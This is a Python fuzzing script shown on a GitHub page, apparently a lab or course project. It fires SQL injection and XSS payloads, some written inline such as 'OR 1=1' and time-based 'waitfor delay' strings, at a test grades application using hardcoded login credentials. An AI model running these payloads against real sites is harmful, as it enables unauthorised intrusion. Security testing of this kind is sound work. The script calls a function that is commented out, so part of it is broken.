-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathfuzzer.py
279 lines (247 loc) · 12.7 KB
/
fuzzer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
#!/usr/bin/env python3
import requests # for sending/receiving web requests
import sys # various system routines (exit, access to stdin, stderr, etc.)
import itertools # simple tools for computing, e.g., the cross-product of lists
import random
from requests.auth import HTTPBasicAuth
import html
import string
class SQLFuzzConfig:
def __init__(self):
self.app_root_url = "http://192.168.56.101:3000"
self.login_endpoint = {
"url": "/sign_in",
"param_data": {
"login": "peter",
"password": "football"
}
}
self.endpoints = [
{
"url": "/grades",
"method": "GET",
"require_login": False,
"param_data": {},
"cookie_data": {
"session": [PayloadType.SQL_STATIC],
},
},
{
"url": "/grades/3",
"method": "POST",
"require_login": True,
"param_data": {
"grade[comment]": [PayloadType.SQL]
},
"cookie_data": {"session": [PayloadType.SQL_STATIC]},
},
{
"url": "/grades",
"method": "GET",
"require_login": True,
"param_data": {
"lecturer": [PayloadType.SQL],
},
"cookie_data": {"session": [PayloadType.SQL_STATIC]},
},
{
"url": "/sign_in",
"method": "POST",
"require_login": False,
"param_data": {
"login": [PayloadType.SQL],
"password": [PayloadType.SQL_STATIC]
},
"cookie_data": {"session": [PayloadType.SQL_STATIC]},
},
]
def SQL_login(f, payloads,params_data, ob, data,dynamic_sql_mutations):
pays = [payloads, dynamic_sql_mutations]
static_count = 0
dynamic_count = 0
print('\n\n')
for choice in pays:
if choice == payloads:
print("Testing Static SQL Payloads on SignIn page")
elif choice == dynamic_sql_mutations:
print("Testing Dynamic SQL Payloads on SignIn page")
for i in choice:
params_data["login"] = i
r = requests.post(ob.app_root_url+data['url'], params=params_data)
if "We're sorry, but something went wrong." in (r.text) or r.status_code == 500:
if choice == payloads:
static_count += 1
#>>>>>>> print('STATIC:> SQL Vulnerability Found on SignIn page for Payload: ',params_data['login'])
elif choice == dynamic_sql_mutations:
dynamic_count += 1
#>>>>>>> print('DYNAMIC:> SQL Vulnerability Found on SignIn page for Payload: ',params_data['login'])
f.write("{} {} {} {} ".format('Count of static SQL payloads to which the App\'s login field is vulnerable: ',static_count,'out of Total: ' ,len(payloads)))
f.write("{} {} {} {} ".format('Count of dynamic SQL payloads to which the App\'s login field is vulnerable: ',dynamic_count,' out of Total: ' ,len(dynamic_sql_mutations)))
f.write('\n')
f.close()
#>>>>>>>>> print('Count of static SQL payloads to which the App is vulnerable: ', static_count, ' out of Total: ', len(payloads))
#>>>>>>>>> print('Count of dynamic SQL payloads to which the App is vulnerable: ', dynamic_count, ' out of Total: ', len(dynamic_sql_mutations))
def SQL_filter(payloads,params_data, data, ob, data_for_filter, dynamic_sql_mutations):
pays = [payloads, dynamic_sql_mutations]
static_count = 0
dynamic_count = 0
params_data["login"] = 'peter'
for choice in pays:
if choice == payloads:
print("Testing Static SQL Payloads on Filter Grades page")
elif choice == dynamic_sql_mutations:
print("Testing Dynamic SQL Payloads on Filter Grades page")
for i in choice:
data_for_filter["lecturer"] = i
with requests.Session() as s:
p = s.post(ob.app_root_url+data['url'], params=params_data)
r = s.get(ob.app_root_url+data_for_filter['url'], data=data_for_filter)
if "We're sorry, but something went wrong." in (r.text) or r.status_code == 500:
if choice == payloads:
static_count += 1
#>>>>>>>print('STATIC:> SQL Vulnerability Found in Filter Grades for Payload: ',data_for_filter['lecturer'])
elif choice == dynamic_sql_mutations:
dynamic_count += 1
#>>>>>>>print('DYNAMIC:> SQL Vulnerability Found in Filter Grades for Payload: ',data_for_filter['lecturer'])
elif "Algebra" in (r.text):
if choice == payloads:
static_count += 1
print(i)
#>>>>>>>print('STATIC:> SQL Vulnerability Found in Filter Grades for Payload: ',data_for_filter['lecturer'])
elif choice == dynamic_sql_mutations:
dynamic_count += 1
#>>>>>>> print('DYNAMIC:> SQL Vulnerability Found in Filter Grades for Payload: ',data_for_filter['lecturer'])
f = open("results_summary.txt", "a")
f.write('\n')
f.write("{} {} {} {} ".format('Count of static SQL payloads to which the App\'s filter field is vulnerable: ',static_count,' out of Total: ' ,len(payloads)))
f.write("{} {} {} {} ".format('Count of dynamic SQL payloads to which the App\'s filter field is vulnerable: ',dynamic_count,' out of Total: ' ,len(dynamic_sql_mutations)))
f.close()
#>>>>>>>>> print('Count of static SQL payloads to which the App is vulnerable: ', static_count, ' out of Total: ', len(payloads))
#>>>>>>>>> print('Count of dynamic SQL payloads to which the App is vulnerable: ', dynamic_count, ' out of Total: ', len(dynamic_sql_mutations))
def XSS_comment_box(f,payloads,params_data,data,xss_params_data, ob, xss_data, dynamic_xss_mutations):
pays = [payloads, dynamic_xss_mutations]
static_count = 0
dynamic_count = 0
params_data["login"] = 'peter'
xss_params_data["grade[comment]"] = 'Hello'
# Use 'with' to ensure the session context is closed after use.
static_xss_vulnerabilities = 0
dynamic_xss_vulnerabilities = 0
print('\n\n')
for choice in pays:
if choice == payloads:
print("Testing Static XSS Payloads in Comments Field")
elif choice == dynamic_xss_mutations:
print("Testing Dynamic XSS Payloads in Comments Field")
with requests.Session() as s:
for i in choice:
datas = {'_method':'patch','grade[comment]' : i}
p = s.post(ob.app_root_url+data['url'], params=params_data)
t = s.post(ob.app_root_url+xss_data['url'], data=datas)
# UPDATED CODE
if i in t.text:
if choice == payloads:
static_xss_vulnerabilities +=1
elif choice == dynamic_xss_mutations:
dynamic_xss_vulnerabilities +=1
# ENDs HERE
f = open("results_summary.txt", "a")
f.write('\n')
f.write("{} {} {} {} ".format('Count of static XSS payloads to which the App\'s Comment field is vulnerable: ',static_xss_vulnerabilities,' out of Total: ' ,len(payloads)))
f.write("{} {} {} {} ".format('Count of dynamic XSS payloads to which the App\'s Comment field is vulnerable: ',dynamic_xss_vulnerabilities,' out of Total: ' ,len(dynamic_xss_mutations)))
f.close()
# def XSS_filter(payloads,params_data,data,xss_params_data_filter, ob, xss_data_filter, dynamic_xss_mutations):
# pays = [payloads, dynamic_xss_mutations]
# static_count = 0
# dynamic_count = 0
# # pays = [payloads, dynamic_sql_mutations]
# params_data["login"] = 'peter'
# for choice in pays:
# if choice == payloads:
# print("Testing Static XSS Payloads on Grades Filter page")
# elif choice == dynamic_xss_mutations:
# print("Testing Dynamic XSS Payloads on Grades Filter page")
# for i in choice:
# with requests.Session() as s:
# xss_params_data_filter["lecturer"] = i
# p = s.post(ob.app_root_url+data['url'], params=params_data)
# r = s.get(ob.app_root_url+xss_data_filter['url'], params=xss_params_data_filter)
# # if "We're sorry, but something went wrong." in (r.text):
# # print('SQL Vulnerability Found in Filter Grades for Payload: ',data_for_filter['lecturer'])
# # elif "Algebra" in (r.text):
# # print('SQL Vulnerability Found in Filter Grades for Payload: ',data_for_filter['lecturer']
def dynamic_sql_mutations_generator(seed_input):
mutated_SQL_payloads = ''
"""Returns s with a random character inserted"""
pos = random.randint(0, len(seed_input)+100)
random_character = ''.join([random.choice(string.ascii_letters + string.digits + string.punctuation ) for n in range(12)])
# print("Inserting", repr(random_character), "at", pos)
mutated_SQL_payloads = (seed_input[:pos+random.randrange(0, 2000)] + random_character + seed_input[pos:])
pos = random.randint(0, len(mutated_SQL_payloads) - 1)
return mutated_SQL_payloads[:pos] + mutated_SQL_payloads[pos + 1:]
def dynamic_xss_mutations_generator(seed_input):
mutated_XSS_payloads = ''
"""Returns s with a random character inserted"""
pos = random.randint(0, len(seed_input)+100)
random_character = ''.join([random.choice(string.ascii_letters + string.digits + string.punctuation ) for n in range(12)])
# print("Inserting", repr(random_character), "at", pos)
mutated_XSS_payloads = (seed_input[:pos+random.randrange(0, 2000)] + random_character + seed_input[pos:])
pos = random.randint(0, len(mutated_XSS_payloads) - 1)
return mutated_XSS_payloads[:pos] + mutated_XSS_payloads[pos + 1:]
def main():
f = open("results_summary.txt", "w+")
static_payloads = []
sqlPayloadsfile = 'sqlpayloads.txt'
with open(sqlPayloadsfile) as fp:
for line in fp:
static_payloads.append(line)
fp.close()
static_xss_payloads = []
xssPayloadsfile = 'xsspayloads.txt'
with open(xssPayloadsfile) as fp:
for line in fp:
static_xss_payloads.append(line)
fp.close()
sql_payloads_keywords = ['admin = \"\') OR 1=1--\'\"','\'', ')', '%', '*', '"))%', '\',NULL', '%20delay%20\'0:0:20\'%20--', ')%20waitfor%2', '%20waitfor', '0:20\'', 'password = 1\' or \'1\' = \'1\'))/*']
dynamic_sql_mutations = []
for i in static_payloads:
for j in range(25):
if dynamic_sql_mutations_generator(i) in dynamic_sql_mutations:
pass
else:
dynamic_sql_mutations.append(dynamic_sql_mutations_generator(i))
ob = SQLFuzzConfig()
data = ob.login_endpoint
data_endpoint = ob.endpoints
cookie = data_endpoint[0]['cookie_data']
cookie["session"] = ')%20waitfor%20delay%20\'0:0:20\'%20--'
r = requests.Session().post(ob.app_root_url+data_endpoint[0]['url'], cookies=cookie)
if "We're sorry, but something went wrong." in (r.text) or r.status_code == 500:
print('\nBypassed Login and Exploited SQL Vulnerability on ', data_endpoint[0]['url'], ' page, using payload: ', ')%20waitfor%20delay%20\'0:0:20\'%20--')
params_data = data['param_data']
SQL_login(f,static_payloads,params_data,ob, data, dynamic_sql_mutations)
data_for_filter = ob.endpoints[2]
SQL_filter(static_payloads,params_data, data, ob, data_for_filter, dynamic_sql_mutations)
xss_payload_keywords = ['<script>']
dynamic_xss_mutations = []
for i in static_xss_payloads:
for j in range(3):
if dynamic_xss_mutations_generator(i) in dynamic_xss_mutations:
pass
else:
dynamic_xss_mutations.append(dynamic_xss_mutations_generator(i))
xss_data = ob.endpoints[1]
xss_params_data = xss_data['param_data']
XSS_comment_box(f,static_xss_payloads,params_data,data,xss_params_data, ob, xss_data, dynamic_xss_mutations)
xss_data_filter = ob.endpoints[2]
xss_params_data_filter = xss_data_filter['param_data']
XSS_filter(static_xss_payloads, params_data, data, xss_params_data_filter, ob, xss_data_filter, dynamic_xss_mutations)
print('\n\n')
print('\t\t\t\t\t >>>>>>>>> RESULTS <<<<<<<<< \n')
with open('results_summary.txt') as fp:
for line in fp:
print('\n',line)
fp.close()
print('\n Results written to file: results_summary.txt')
if __name__== "__main__":
main()